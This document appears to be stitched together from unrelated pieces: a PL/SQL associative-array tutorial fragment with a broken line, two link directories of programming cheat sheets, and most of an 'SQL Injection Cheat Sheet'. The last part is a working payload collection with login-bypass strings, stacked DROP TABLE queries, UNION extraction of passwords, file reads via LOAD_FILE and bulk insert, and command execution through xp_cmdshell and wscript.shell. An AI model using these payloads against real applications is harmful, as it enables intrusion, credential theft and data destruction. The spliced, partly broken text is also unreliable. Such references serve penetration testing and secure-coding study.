       -- Associative array type

       TYPE population IS TABLE OF NUMBER

             INDEX BY VARCHAR2(64);

       -- Associative array variable

       city_population         population;

       i                       VARCHAR2(64);

BEGIN

       -- Add new elements to associative array:

       city_population('Smallville')              := 2000;

       city_population('Midland')                 := 750000;
        city_population('Megalopolis') := 1000000;



        -- Change value associated with key 'Smallville':

        city_population('Smallville') := 2001;



        -- Print associative array by looping through it:

        i := city_population.FIRST;



        WHILE i IS NOT NULL LOOP

            DBMS_OUTPUT.PUT_LINE

                 ('Population of ' || i || ' is ' || TO_CHAR(city_population(i)));

            i := city_population.NEXT(i);

        END LOOP;



        -- Print selected value from a associative array:

        DBMS_OUTPUT.PUT_LINE('Selected value');

        DBMS_OUTPUT.PUT_LINE('Population of

END;

/



-- Printed results:

Population of Megalopolis is 1000000

Population of Midland is 750000

Population of Smallville is 2001

         More complex example, using a record

DECLARE

        -- Record type

        TYPE apollo_rec IS RECORD
       (

            commander   VARCHAR2(100),

            launch      DATE

       );

       -- Associative array type

       TYPE apollo_type_arr IS TABLE OF apollo_rec INDEX BY VARCHAR2(100);

       -- Associative array variable

       apollo_arr apollo_type_arr;

BEGIN

       apollo_arr('Apollo 11').commander := 'Neil Armstrong';

    apollo_arr('Apollo 11').launch :=      TO_DATE('July 16, 1969','Month dd,
yyyy');

       apollo_arr('Apollo 12').commander := 'Pete Conrad';

    apollo_arr('Apollo 12').launch :=      TO_DATE('November 14, 1969','Month
dd, yyyy');

       apollo_arr('Apollo 13').commander := 'James Lovell';

    apollo_arr('Apollo 13').launch :=      TO_DATE('April 11, 1970','Month dd,
yyyy');

       apollo_arr('Apollo 14').commander := 'Alan Shepard';

    apollo_arr('Apollo 14').launch :=      TO_DATE('January 31, 1971','Month dd,
yyyy');



       DBMS_OUTPUT.PUT_LINE(apollo_arr('Apollo 11').commander);

       DBMS_OUTPUT.PUT_LINE(apollo_arr('Apollo 11').launch);

end;

/



-- Printed results:

Neil Armstrong

16-JUL-69
[edit] APEX
[edit] String substitution
   * In SQL: :VARIABLE
   * In PL/SQL: V('VARIABLE') or NV('VARIABLE')
   * In text: &VARIABLE
145 Useful cheat sheets for some of the most widely used tools on the
web
Posted by ravindra misal

145 quick cheat sheets for some of the most widely used tools on the web. Download, print and
stick them somewhere near your desk. it help you to be a master of most widely used tools on the
web.

                                 If you enjoyed this post,
please consider to leave a comment or subscribe to the feed and get future articles delivered
                                    to your feed reader.

Google:

      Google Cheat Sheet
      Google Guide Quick Reference: Google Advanced Operators (Cheat Sheet)
      Download Now! Google Cheat Sheet PDF!
      Google Help : Cheat Sheet
      Das Google Cheat Sheet
      Unofficial Google Keyboard Shortcuts Gadget
      Google Docs & Spreadsheets Keyboard Shortcuts
      google-adwords-cheat-sheet.pdf
      The Google Ventures Cheat Sheet
      Google Analytics Tracking Code Migration Guide

Apache :

      Apache Cheat Sheet
      Apache 1.3 Quick Reference Card - PDF

ASCII Character Codes :

      ASCII codes table - Format of standard characters
      ASCII Character Codes Chart
      ASCII Character Codes
      ASCII Codes Cheat Sheet
      Character Entity References in HTML 4 and XHTML 1.0
      HTML Character Entities Cheat Sheet - PNG
      HTML Character Entities Cheat Sheet - PDF
      Reference Special Characters
      Special ASCII HTML Character Codes
      XHTML Character Entity Reference
ASP:

      ASP Cheat Sheet
      Asp cheat sheet

Blogging:

      Blogging Cheatsheet
      WordPress Help Sheet of WPcandy.com
      HTML format is available at frozr.com
      WordPress Cheat Sheet for Template Tags in German of Frank Bültge
      Optimization Cheat Sheet for WordPress on wordpress.org
      Twitter cell phone cheat sheets
      Twitter cheat sheet
      Movable Type Cheatsheet - PDF
      MovableType

CSS:

      CSS Cheat Sheet
      CSS Cheat Sheet
      Cascading Style Sheet Cheat Sheet
      CSS Cheat Sheet
      CSS Cheat Sheets - Basic CSS Cheat Sheet and CSS Layout Cheat Sheet
      Cheat Sheets for Front-end Web Developers
      30+ CSS Cheat Sheets & Quick Reference Guides

Firefox:

      Mozilla Firefox Cheat Sheet
      Mozilla Firefox Cheat Sheet - Lots of Tips-n-Tricks and Useful
      Cheat Sheet for Mozilla FireFox (Key Board Short Cuts)
      Keyboard Shortcuts

htaccess:

      htaccess Cheatsheet
      htaccess cheat sheet
      .HTACCESS files useful tips and tricks
      Top 10 .htaccess Tips and Tricks
      16 Useful .htaccess Tricks and Hacks For Web Developers

HTML/XHTML :

      Html And Xhtml Cheat Sheets
      CDBurnerXP - HTML Cheat Sheet in PDF format
      HTML & XHTML Tag Quick Reference
        XHTML Cheat Sheet v. 1.03 - PDF
        HTML DOM - Quick Reference Card - PDF
        XHTML 1.0 frameset - Quick Reference Card - PDF
        XHTML 1.0 strict - Quick Reference Card - PDF
        XHTML 1.0 transitional - Quick Reference Card - PDF
        XHTML Basic Reference - PDF
        XHTML Reference - PDF
        XHTML Cheat Sheet - PDF : at CSSTidy

Java :

        Java Reference Sheet
        Pete Freitag's Java Cheat Sheet
        Java Cheat Sheet : Java Glossary
        Java Programming Cheatsheet
        Erich's Java cheat sheet for C++ programmers
        Java Cheat Sheet
        JavaDoc Cheat Sheet

JavaScript :

        JavaScript Cheat Sheet - PDF
        JavaScript Cheat Sheet
        JavaScript Quick Reference Card/Cheatsheet
        DOM Scripting: JavaScript cheat sheet
        JavaScript cheat sheet

jquery :

        jQuery 1.2 Cheatsheet
        jQuery Cheat Sheet - Nettuts+
        jQuery Cheatsheet Color Charge
        jQuery cheat sheets.
        jQuery
        jQuery Cheat Sheet
        jQuery Cheat Sheet
        JavaScript and Browser Objects Quick Reference

mod_rewrite Cheat Sheet:

        mod_rewrite Cheat Sheet - PDF
        mod_rewrite Cheat Sheet (V1) - Cheat Sheets
        Apache Mod_Rewrite Cheat Sheet

MySQL :

        MySQL Cheat Sheet
       MySQL Cheat Sheet - Cheat Sheets - Added Bytes
       Handy Cheat-Sheet of MySQL Commands
       MySQL Cheat Sheets
       MySQL Commands

Oracle :

       Viktor's Home Page: Oracle Cheat Sheet
       Oracle Programming/SQL Cheatsheet
       Oracle PL/SQL Cheatsheet
       Oracle Security Cheat Sheet
       Oracle cheat sheet .Pdf Ebook Download
       SQL Injection Cheat Sheet

Perl:

       Perl Cheat Sheet
       Perl Quick Reference Card in pdf format
       Perl cheat sheet
       The Perl Cheat sheet
       Perl Cheat Sheet
       Perl Pack Unpack Printf Sprintf Cheat Sheet
       301 Redirect Cheatsheet - mod_rewrite, javascript, cfm, perl, php
       PERL Cheat Sheet (PDF) [Archive] - CodingForums.com
       PERL Cheat Sheet (PDF)

Photoshop:

       Photoshop Brush Tool Cheat sheet
       Adobe Photoshop Shortcuts
       Adobe Pen Tool Cheat sheet
       Adobe Photoshop CS4 Keyboard Shortcuts Cheat Sheet
       Adobe Photoshop CS3 Keyboard Shortcuts Cheat Sheet
       Adobe Photoshop CS Keyboard Shortcuts Cheat Sheet
       Adobe Photoshop 7 Keyboard Shortcuts Cheat Sheet
       Adobe Photoshop 6 Keyboard Shortcuts Cheat Sheet
       Adobe Photoshop 5 Keyboard Shortcuts Cheat Sheet

PHP :

       PHP Cheat Sheet
       BlueShoes: PHP Cheat Sheet
       PHP Cheat Sheets
       PHP Cheat Sheet
Python:

       Python Cheat Sheets
       Python 101 cheat sheet
       Python Quick Reference Pytho
       Python 2.6 Cheatsheet
       Python Cheat Sheet

Ruby:

       Ruby on Rails Cheat Sheet - PNG
       Ruby quick reference
       Ruby Cheatsheet
       Threadeds Ruby Cheat Sheet
       Ruby on Rails - ActiveRecord Relationships Cheat Sheet
       Ruby on Rails - Form Helpers Cheat Sheet
       Ruby on Rails - What Goes Where? Cheat Sheet
       Ruby Cheat Sheets
       Ruby on Rails Cheat Sheet - Cheat Sheets
       Ruby Cheat Sheet
       Ruby Cheat Sheet
       Ruby On Rails – A Cheatsheet Ruby On Rails Commands URL Mapping
       Ruby Cheat Sheet Variables Conditional tests (if) Function calls
       Ruby And Ruby On Rails Cheat Sheets

XML Technologies :

       JSP XML CheatSheet
       XML Syntax Quick Reference
       XML-XSLT-RSS Cheat Sheets
       VoiceXML Reference - PDF
       MathML Reference - PDF
       XML Schema 2001 Reference - PDF
       XML Schema 2000/10 - PDF
       XSLT Quick References - PDF
       XSLT Quick Reference Card - PDF
       XSLT Reference
Our Favorite Cheat Sheets

Do you have a favorite cheat sheet that you'd like to share? Let us know!

TABLE OF CONTENTS

 AS/400                                Miscellaneous
 Blogging                              Networking
 Browser Shortcuts                     Operating Systems
 CSS                                   Programming
 HTML/XHTML                            Search Engines
 Human Resources                       Security
 Internet Slang                        Tutorials for Beginners
 Microsoft Office                      XML




AS/400

        AS/400 Commands for UNIX Programs
        Common AS/400 Commands
        Favorite iSeries




Blogging

        Blogger (PDF)
        Movable Type (PDF)
        RSS 2.0 (PDF)
        TypePad ( PDF)
        WordPress (PDF)




Browser Shortcuts

        Firefox/IE/Opera
        Firefox Keyboard Shortcuts (PDF)
     Firefox Keyboard Shortcuts
     Firefox Keyboard Shortcuts (2)
     Firefox Keyboard Shortcuts (3)
     Firefox Keyboard Shortcuts (4)
     Internet Explorer 7
     Twitter




CSS

     CSS
     CSS 2 - Quick Reference Guide (PDF)
     CSS 2.1 - Quick Reference Card (PDF)
     CSS Property Index
     CSS Shorthand Guide




HTML/XHTML

     216 Web browser-safe colors
     ASCII Codes
     Character Entity References in HTML 4 and XHTML 1.0
     Creating Links
     Doctype Declarations (DTDs) (1)
     Doctype Declarations (DTDs) (2)
     HTML (1)
     HTML (2)
     HTML (3)
     HTML (4)
     HTML Entities
     HTML & XHTML Tag Quick Reference (PDF)
     HTML Character Entities
     HTML Special Character Reference
     HTML Special Entity Codes
     HTML/XHTML Character References
     Server Side Includes (SSIs) (PDF)
     Special ASCII HTML Character Codes
     Special ASCII characters and how to type them
     W3C DOM
     XHTML (PDF)
     XHTML Character Entity Reference
Human Resources

      Troubleshooting Human Communications




Internet Slang

      Advertising Terminology on the Internet
      Blog Glossary
      Chat Abbreviations
      Emoticons
      Japanese Emoticons
      Mathematical Symbols




MICROSOFT OFFICE

Excel | Outlook | Word

      Outlook Express Shortcuts

Microsoft Excel Cheat Sheets

      Excel Basics (PDF)
      Excel Keyboard Shortcuts

Microsoft Outlook Cheat Sheets

      Microsoft Outlook Shortcuts




Microsoft Word Cheat Sheets

      Creating equations in Word
      Getting Rid of that (*)#"@^ paperclip! - Taming the Office Assistant
      Troubleshooting Autoformat Defaults
      Word Keyboard Shortcuts




Miscellaneous Cheat Sheets
     Basic FTP Commands
     CHMOD Chart
     Dreamweaver Acronyms, Terms and Cheat Sheet
     Essential FTP Commands
     Every file format in the world
     FTP Commands for the Microsoft FTP Client
     Gmail Keyboard Shortcuts
     Google Corporate (PDF)
     Google Help (Operators)
     Google Search
     How Digg Works
     How many bytes for... (storage)
     Kibi, mebi, gibi, tebi, pebi, and all that
     Kilo, mega, giga, tera, peta, and all that
     Logic Gates
     Mathematical Symbols
     Microformats
     Microformats (2)
     OpenGL Vertex
     Photoshop CS2 Keyboard Shortcuts for Windows (PDF)
     Photoshop CS2 Keyboard Shortcuts for Mac (PDF)
     Pretty Good PGP Reference Card
     Quick Reference Cards
     RGB Hex Colour Chart
     SCSI (PDF)
     SOA
     Table of physical constants
     Table of physical units
     Theoretical Computer Science: Commonly used formulas and other useful information for
      computer scientists (PDF)
     Thunderbird




Networking

     802.xx Specifications
     Categories of Twisted Pair Cabling Systems
     Data Rates forTransmissionTechnologies
     Digital Signal X
     Network Cabling Tutorials
     Optical carrier levels
     OSI Reference Model
     TCP/IP and tcpdump Reference
OPERATING SYSTEMS

DOS | Linux | Unix | Windows

DOS

       DOS commands
       DOS to Linux
       Linux for Mac and Windows Programmers

Linux

       Debian Package Management Utility (APT)
       Debian Reference Card (PDF)
       Linux Shortcuts and Commands
       Red Hat Program Manager (rpm)
       RPM
       The One Page Linux Manual - Version 3 (PDF)

Unix

       awk (PDF) or .txt
       Bash emacs editing mode (PDF) or .txt
       CVS
       CVS (2)
       ed UNIX Text Editor (PDF) or .txt
       GNU emacs (PDF) or .txt
       GNU emacs Shortcuts
       GNU Screens
       Rosetta Stone for Unix
       screen Terminal Emulator (PDF) or .txt
       sed (Stream EDitor) PDF or .txt
       Subversion Quick Reference (PDF)
       TCP Ports List
       Treebeard's Unix Cheat Sheet
       Unix Commands
       Unix Command Line
       Vim Commands
       Vim Keyboard Shortcuts
       Vim Quick Reference

Windows

       An A-Z Index of the Windows NT/XP command line
       Graphical vi-vim Cheat Sheet and Tutorial
       Power Point 2000 - Keyboard Shortcuts
      Powerpoint 2003 - Quick Reference Card (PDF)
      TCP Ports list (3498 ports in list)
      Windows - Alt Key Numeric Codes
      Windows Error Messages
      Windows Keyboard Shortcuts
      Windows 7 Keyboard Shortcuts
      Windows 7 Information Cheat Sheet
      XP Keyboard Shortcuts: version 2 - PDF




PROGRAMMING AND SCRIPTING LANGUAGES

Actionscript | ADA | AJAX | Apache | ASP | BASH | C | C# | C++| ColdFusion | Delphi | Django
| Eclipse | Erlang | Java | Javascript | LaT E X | MATLAB | Microsoft Foundation Library |
MySQL | .NET | Oracle | Perl | PHP | PostgreSQL | Python | Regular Expressions | Ruby | SQL |
UML | Visual Basic

Actionscript

      ActionScript 2.0

ADA

      ADA Quick Reference Card (PDF)
      ADA Syntax Card (PDF)

AJAX

      What’s Ajax? (PDF)
      Microsoft Ajax Library
      Prototype Dissected (PNG)
      scriptaculous Combination Effects (PDF)

Apache

      Apache
      htaccess
      mod_rewrite

ASP

      ASP / VBScript (PNG)
      ASPLogin
      ASP Life Cycles/Events (PDF)
BASH

       BASH
       BASH and emacs
       BASH Programming
       Commonly used BASH items

C

       C Quick Reference Sheet (PDF)
       C Reference Card (PDF)
       C Reference Card - ANSI (PDF)

C# and VB.NET

       Core C# and .NET Quick Reference (PDF)
       C# and VB.NET Comparison (PDF)
       Casting in VB.NET and C#
       String Formatting in C#

C++

       C++ Containers
       C++ Language Summary
       How to Code in C++
       STL Quick Reference Card (PDF)

ColdFusion

       CFScript ColdFusion
       ColdFusion

Delphi

       Delphi Quick Reference Card (PDF)



Drupal

       Getting Started with Drupal
Eclipse

      Eclipse 3.1 (Emacs bindings) (PDF) or RTF
      Eclipse 3.0 PDF or OpenOffice
      Eclipse 2.1 Keyboard Shortcuts (PDF)

Erlang

      Erlang

Java

      Erich's Java Reference for C++
      Java 1.5 Cheat Sheet
      Java Quick Reference (PDF)
      (JSPª) SYNTAX version 1.1 (PDF)
      (JSP™) SYNTAX version 2.1 (PDF)


JavaScript

      JavaScript in a page
      JavaScript
      JavaScript Quick Reference (1)
      Javascript Quick Reference (2)
      Javascript Quick Reference Card (PDF)
      JavaScript and Browser Objects Quick Reference
      jquery 1.2 (PDF)
      Prototype 1.5 (PDF)




LaT E X

      LaT E X

MATLAB

      MATLAB Quick Reference Card (PDF)
      MATLAB
      MATLAB for Physics (PDF)

Microsoft Foundation Library

      Microsoft Foundation Class (PDF)
MySQL

      MySQL(1)
      MySQL(2)
      MySQL(3)

.NET

      .NET Standard DateTime Format Strings (PDF)
      ASP.NET 2.0 Page Life Cycle & Common Events (PDF)
      VB .NET (PDF)

Oracle

      Oracle
      Oracle PL/SQL
      Oracle Relational SQL
      Oracle SCM Installation
      Oracle Server Architecture (PDF)
      Oracle Server 8i - Quick Reference (PDF)

Perl

      Perl
      Perl (2)
      Perl (3)
      Perl 5.8
      Perl Regular Expression (PDF)

PHP

      PHP
      PHP (2)
      symfony PHP5 Framework Admin Generator (PDF)

PostgreSQL

      PostgreSQL
      PostgreSQL (PDF) or PNG

Python

      Python
      Python Quick Reference

Regular Expressions
      Regular Expressions
      Regular Expression (.NET)

Ruby

      ActiveRecord Relationships (PDF)
      Ruby
      Ruby (2)
      Ruby Quick Reference Card (PDF)
      Ruby On Rails (PDF)
      Ruby on Rails
      Ruby on Rails Cheat Sheet Guide (PDF)
      Ruby Standard Library (PDF)
      What Goes Where? Ruby on Rails (PDF)

SQL

      SQL (1)
      SQL (2)
      SQL Injection
      SQL Server
      Sybase SQL

Unified Modeling Language (UML)

      UML

Visual Basic

      Visual Basic 6 (PDF)
      VB6 to TCL
      VisualStudio.NET (PDF)

      More Resources
      Refcardz Developers' Cheatsheets




Search Engines

      Google Search Help
      Google
      Google Advanced Operators
      Google Teaching Tools Collection
      Search Engines (General)
      Yahoo!
      Gmail Shortcuts




Security

      ASP.NET Security Architecture
      Google Hacking and Defense
      How to Suck at Information Security (common errors)
      Information Security Assessment RFPs
      Netcat
      Network DDoS Incident Response
      Network Security
      Reverse-Engineering Malware
      Security Architecture for Internet Applications
      Security Incident Questionnaire for Respondents
      Security Incident Survey for Administrators
      SQL Injection Prevention
      Windows Command Line
      X86/WIN32 Reverse Engineering
      XSS (Cross-Site Scripting) Prevention




Tutorials for Beginners

Beginners.co.uk provides over 450 beginner's tutorials on a wide variety of subjects, including:

      Active Server Pages
      C++
      Cisco
      Dreamweaver
      Flash
      HTML
      Internet
      MSCE
      MS Access
      MS Excel
      MS Word
      Networking
      Outlook
      PC Support
      Photoshop
      SQL
      Web Development
      Windows
     XML




XML

     Fusebox 4.1 XML
     MathML Reference (PDF)
     VoiceXML Reference (PDF)
     XML Quick References (PDF)
     XML Schema 2001: children - parents - (PDF)
     XML Schema 2001: elements - attributes (PDF)
     XML Schema 2000/10 (PDF)
     XML Schema - Structures Quick Reference (PDF)
     XML Schema - Data Types Quick Reference (PDF)
     XSL FO Reference (PDF)
     XSLT Quick References (PDF)
SQL Injection Cheat Sheet
  sql injection, security, web application security, web uygulamasi guvenligi, english, 15.03.2007

            Find and exploit SQL Injections with free Netsparker SQL Injection Scanner

SQL Injection Cheat Sheet, Document Version 1.4

About SQL Injection Cheat Sheet

Currently only for MySQL and Microsoft SQL Server, some ORACLE and some
PostgreSQL. Most of samples are not correct for every single situation. Most of the real world
environments may change because of parenthesis, different code bases and unexpected, strange
SQL sentences.

Samples are provided to allow reader to get basic idea of a potential attack and almost every
section includes a brief information about itself.

M : MySQL

S : SQL Server

P : PostgreSQL

O : Oracle

+ : Possibly all other databases


Examples;

      (MS) means : MySQL and SQL Server etc.
      (M*S) means : Only in some versions of MySQL or special conditions see related note and SQL
       Server
Table Of Contents

   1. About SQL Injection Cheat Sheet
   2. Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks
          1. Line Comments
                   SQL Injection Attack Samples
          2. Inline Comments
                   Classical Inline Comment SQL Injection Attack Samples
                   MySQL Version Detection Sample Attacks
          3. Stacking Queries
                   Language / Database Stacked Query Support Table
                   About MySQL and PHP
                   Stacked SQL Injection Attack Samples
          4. If Statements
                   MySQL If Statement
                   SQL Server If Statement
                   If Statement SQL Injection Attack Samples
          5. Using Integers
          6. String Operations
                   String Concatenation
          7. Strings without Quotes
                   Hex based SQL Injection Samples
          8. String Modification & Related
          9. Union Injections
                   UNION – Fixing Language Issues
          10. Bypassing Login Screens
          11. Enabling xp_cmdshell in SQL Server 2005
          12. Other parts are not so well formatted but check out by yourself, drafts, notes and stuff,
              scroll down and see.

Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks
Ending / Commenting Out / Line Comments
Line Comments

Comments out rest of the query.
Line comments are generally useful for ignoring rest of the query so you don’t have to deal with
fixing the syntax.

      -- (SM)
       DROP sampletable;--

      # (M)
       DROP sampletable;#
Line Comments Sample SQL Injection Attacks

      Username: admin'--
      SELECT * FROM members WHERE username = 'admin'--' AND password =
       'password'
       This is going to log you as admin user, because rest of the SQL query will be ignored.

Inline Comments

Comments out rest of the query by not closing them or you can use for bypassing
blacklisting, removing spaces, obfuscating and determining database versions.

      /*Comment Here*/ (SM)
           DROP/*comment*/sampletable
           DR/**/OP/*bypass blacklisting*/sampletable
           SELECT/*avoid-spaces*/password/**/FROM/**/Members

      /*! MYSQL Special SQL */ (M)
       This is a special comment syntax for MySQL. It’s perfect for detecting MySQL version. If you put
       a code into this comments it’s going to execute in MySQL only. Also you can use this to execute
       some code only if the server is higher than supplied version.

       SELECT /*!32302 1/0, */ 1 FROM tablename

Classical Inline Comment SQL Injection Attack Samples

      ID: 10; DROP TABLE members /*
       Simply get rid of other stuff at the end the of query. Same as 10; DROP TABLE members --

      SELECT /*!32302 1/0, */ 1 FROM tablename
       Will throw an divison by 0 error if MySQL version is higher than 3.23.02

MySQL Version Detection Sample Attacks

      ID: /*!32302 10*/
      ID: 10
       You will get the same response if MySQL version is higher than 3.23.02

      SELECT /*!32302 1/0, */ 1 FROM tablename
       Will throw an divison by 0 error if MySQL version is higher than 3.23.02

Stacking Queries

Executing more than one query in one transaction. This is very useful in every injection
point, especially in SQL Server back ended applications.

      ; (S)
       SELECT * FROM members; DROP members--
Ends a query and starts a new one.

Language / Database Stacked Query Support Table

green: supported, dark gray: not supported, light gray: unknown

           SQL Server MySQL PostgreSQL ORACLE MS Access


ASP


ASP.NET


PHP


Java




About MySQL and PHP;
To clarify some issues;
PHP - MySQL doesn't support stacked queries, Java doesn't support stacked queries (I'm sure
for ORACLE, not quite sure about other databases). Normally MySQL supports stacked queries
but because of database layer in most of the configurations it’s not possible to execute second
query in PHP-MySQL applications or maybe MySQL client supports this, not quite sure. Can
someone clarify?

Stacked SQL Injection Attack Samples

         ID: 10;DROP members --
         SELECT * FROM products WHERE id = 10; DROP members--

This will run DROP members SQL sentence after normal SQL Query.

If Statements

Get response based on a if statement. This is one of the key points of Blind SQL Injection, also
can be very useful to test simple stuff blindly and accurately.

MySQL If Statement

         IF(condition,true-part,false-part) (M)
          SELECT IF(1=1,'true','false')
SQL Server If Statement

      IF condition true-part ELSE false-part (S)
       IF (1=1) SELECT 'true' ELSE SELECT 'false'

If Statement SQL Injection Attack Samples

if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0                       (S)
This will throw an divide by zero error if current logged user is not "sa" or "dbo".

Using Integers

Very useful for bypassing, magic_quotes() and similar filters, or even WAFs.

      0xHEXNUMBER (SM)
       You can write hex like these;

       SELECT CHAR(0x66) (S)
       SELECT 0x5045 (this is not an integer it will be a string from Hex) (M)
       SELECT 0x50 + 0x45 (this is integer now!) (M)

String Operations

String related operations. These can be quite useful to build up injections which are not using
any quotes, bypass any other black listing or determine back end database.

String Concatenation

      + (S)
       SELECT login + '-' + password FROM members

      || (*MO)
       SELECT login || '-' || password FROM members

*About MySQL "||";
If MySQL is running in ANSI mode it’s going to work but otherwise MySQL accept it as
`logical operator` it’ll return 0. Better way to do it is using CONCAT() function in MySQL.

      CONCAT(str1, str2, str3, ...) (M)
       Concatenate supplied strings.
       SELECT CONCAT(login, password) FROM members

Strings without Quotes

These are some direct ways to using strings but it’s always possible to use CHAR()(MS) and
CONCAT()(M) to generate string without quotes.
       0x457578 (M) - Hex Representation of string
        SELECT 0x457578
        This will be selected as string in MySQL.

        In MySQL easy way to generate hex representations of strings use this;
        SELECT CONCAT('0x',HEX('c:\\boot.ini'))

       Using CONCAT() in MySQL
        SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
        This will return ‘KLM’.

       SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)
        This will return ‘KLM’.

Hex based SQL Injection Samples

       SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)
        This will show the content of c:\boot.ini

String Modification & Related

       ASCII() (SMP)
        Returns ASCII character value of leftmost character. A must have function for Blind SQL
        Injections.

        SELECT ASCII('a')

       CHAR() (SM)
        Convert an integer of ASCII.

        SELECT CHAR(64)

Union Injections

With union you do SQL queries cross-table. Basically you can poison query to return records
from another table.

SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
This will combine results from both news table and members table and return all of them.

Another Example :
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

UNION – Fixing Language Issues

While exploiting Union injections sometimes you get errors because of different language
settings (table settings, field settings, combined table / db settings etc.) these functions are quite
useful to fix this problem. It's rare but if you dealing with Japanese, Russian, Turkish etc.
applications then you will see it.

       SQL Server (S)
        Use field COLLATE SQL_Latin1_General_Cp1254_CS_AS or some other valid one - check
        out SQL Server documentation.

        SELECT header FROM news UNION ALL SELECT name COLLATE
        SQL_Latin1_General_Cp1254_CS_AS FROM members

       MySQL (M)
        Hex() for every possible issue

Bypassing Login Screens (SMO+)
SQL Injection 101, Login tricks

       admin' --
       admin' #
       admin'/*
       ' or 1=1--
       ' or 1=1#
       ' or 1=1/*
       ') or '1'='1--
       ') or ('1'='1--
       ....

       Login as different user (SM*)
        ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

*Old versions of MySQL doesn't support union queries

Bypassing second MD5 hash check login screens

If application is first getting the record by username and then compare returned MD5 with
supplied password's MD5 then you need to some extra tricks to fool application to bypass
authentication. You can union results with a known password and MD5 hash of supplied
password. In this case application will compare your password and your supplied MD5 hash
instead of MD5 from database.

Bypassing MD5 Hash Check Example (MSP)

Username : admin
Password : 1234 ' AND 1=0 UNION ALL SELECT 'admin',
'81dc9bdb52d04dc20036dbd8313ed055

81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)
Error Based - Find Columns Names
Finding Column Names with HAVING BY - Error Based (S)

In the same order,

        ' HAVING 1=1 --
        ' GROUP BY     table.columnfromerror1 HAVING 1=1 --
        ' GROUP BY     table.columnfromerror1, columnfromerror2 HAVING 1=1 --
        ' GROUP BY     table.columnfromerror1, columnfromerror2, columnfromerror(n)
         HAVING 1=1     -- and so on
        If you are not getting any more error then it's done.

Finding how many columns in SELECT query by ORDER BY (MSO+)

Finding column number by ORDER BY can speed up the UNION SQL Injection process.

        ORDER BY 1--
        ORDER BY 2--
        ORDER BY N-- so on
        Keep going until get an error. Error means you found the number of selected columns.

Data types, UNION, etc.
Hints,

        Always use UNION with ALL because of image similiar non-distinct field types. By default union
         tries to get records with distinct.
        To get rid of unrequired records from left table use -1 or any not exist record search in the
         beginning of query (if injection is in WHERE). This can be critical if you are only getting one result
         at a time.
        Use NULL in UNION injections for most data type instead of trying to guess string, date, integer
         etc.
              o Be careful in Blind situtaions may you can understand error is coming from DB or
                  application itself. Because languages like ASP.NET generally throws errors while trying to
                  use NULL values (because normally developers are not expecting to see NULL in a
                  username field)

Finding Column Type

        ' union select sum(columntofind) from users-- (S)
         Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
         [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average
         aggregate operation cannot take a varchar data type as an argument.

         If you are not getting error it means column is numeric.
      Also you can use CAST() or CONVERT()
           o      SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null,
                  NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL,
                  NULL, NULL, NULL, NULL, NULl, NULL--

      11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
       No Error - Syntax is right. MS SQL Server Used. Proceeding.

      11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
       No Error – First column is an integer.

      11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 --
       Error! – Second column is not an integer.

      11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-
       No Error – Second column is a string.

      11223344) UNION SELECT 1,’2’,3,NULL WHERE 1=2 –-
       Error! – Third column is not an integer. ...

       Microsoft OLE DB Provider for SQL Server error '80040e07'
       Explicit conversion from data type int to image is not allowed.

You’ll get convert() errors before union target errors ! So start with convert() then union

Simple Insert (MSO+)
'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*

Useful Function / Information Gathering / Stored Procedures / Bulk SQL
Injection Notes

@@version (MS)
Version of database and more details for SQL Server. It's a constant. You can just select it like
any other column, you don't need to supply table name. Also you can use insert, update
statements or in functions.

INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10)
,10)

Bulk Insert (S)

Insert a file content to a table. If you don't know internal path of web application you can read
IIS (IIS 6 only) metabase file (%systemroot%\system32\inetsrv\MetaBase.xml) and then search
in it to identify application path.

           1. Create table foo( line varchar(8000) )
           2. bulk insert foo from 'c:\inetpub\wwwroot\login.asp'
           3. Drop temp table, and repeat for another file.
BCP (S)

Write text file. Login Credentials are required to use this function.
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -
Slocalhost -Usa -Pfoobar

VBS, WSH in SQL Server (S)

You can use VBS, WSH scripting in SQL Server because of ActiveX support.

declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec
sp_oamethod @o, 'run', NULL, 'notepad.exe' --

Executing system commands, xp_cmdshell (S)

Well known trick, By default it's disabled in SQL Server 2005. You need to have admin access.

EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'

Simple ping check (configure your firewall or sniffer to identify request before launch it),

EXEC master.dbo.xp_cmdshell 'ping '

You can not read results directly from error or union or something else.

Some Special Tables in SQL Server (S)

      Error Messages
       master..sysmessages

      Linked Servers
       master..sysservers

      Password (2000 and 20005 both can be crackable, they use very similar hashing algorithm )
       SQL Server 2000: masters..sysxlogins
       SQL Server 2005 : sys.sql_logins

More Stored Procedures for SQL Server (S)

   1. Cmd Execute (xp_cmdshell)
      exec master..xp_cmdshell 'dir'

   2. Registry Stuff (xp_regread)
          1. xp_regaddmultistring
          2. xp_regdeletekey
          3. xp_regdeletevalue
           4.   xp_regenumkeys
           5.   xp_regenumvalues
           6.   xp_regread
           7.   xp_regremovemultistring
           8.   xp_regwrite
                exec xp_regread HKEY_LOCAL_MACHINE,
                'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'
                exec xp_regenumvalues HKEY_LOCAL_MACHINE,
                'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'

   3.  Managing Services (xp_servicecontrol)
   4.  Medias (xp_availablemedia)
